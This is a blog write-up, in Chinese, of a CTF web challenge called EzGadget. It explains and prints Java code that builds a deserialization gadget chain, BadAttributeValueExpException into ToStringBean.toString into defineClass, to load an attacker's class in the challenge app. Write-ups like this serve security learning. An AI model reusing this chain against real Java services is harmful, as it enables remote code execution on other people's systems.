东华杯Web部分wp


EzGadget

题目给了附件

反序列化流

代码审计先看控制器,果然控制器有很奇怪的代码

image-20211031115213601

调用条件name == gadgets ; year == 2021

不过我对java不太熟,所以先百度一下objectInputStream

image-20211031120010052

反序列化流,那么思路就是使传入的data为序列化的exp,然后通过ObjectInputStream反序列化得到结果

defineClass

明确要反序列化的前提下,在ToStringBean类中找到一个toString方法

image-20211031135511361

toString中调用了defineClass,该函数用于将字节码转化为Class

这让我们可以自己写一个恶意类,通过该方法后序列化传入data

//将exp类的字节码传入Byte
byte[] cByte = Tools.base64Decode("exp");
//获取ClassByte,写入ClassByte
ToStringBean toStringBean = new ToStringBean();
Field field = ToStringBean.class.getDeclaredField("ClassByte");
field.setAccessible(true);
field.set(toStringBean,cByte);

搜索toString

到这里我们的目的就变成了找一个可以调用toString的类,也就是反序列化的入口

最后可以找到BadAttributeValueExpException

image-20211031142633544

这里val可控,可以是val为ToStringBean类,然后在构造器中调用

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException();
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,toStringBean);

最终exp

package com.ezgame.ctf.tools;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;

public class exp {
    public static void main(String[] args) throws Exception {
        ToStringBean toStringBean = new ToStringBean();
        Field classByte = ToStringBean.class.getDeclaredField("ClassByte");
        byte[] cByte = Tools.base64Decode("");
        classByte.setAccessible(true);
        classByte.set(toStringBean,cByte);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");
        Field val = BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,toStringBean);
        System.out.println(Tools.base64Encode(Tools.serialize(badAttributeValueExpException)));
    }
}

//其中最开始还有两个条件,name合time,写在serialize中
public static byte[] serialize(final Object obj) throws Exception {
    ByteArrayOutputStream btout = new ByteArrayOutputStream();
    ObjectOutputStream objOut = new ObjectOutputStream(btout);
    objOut.writeInt(2021);
    objOut.writeUTF("gadgets");
    objOut.writeObject(obj);
    return btout.toByteArray();
}

文章作者: Atmujie
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Atmujie !
评论
  目录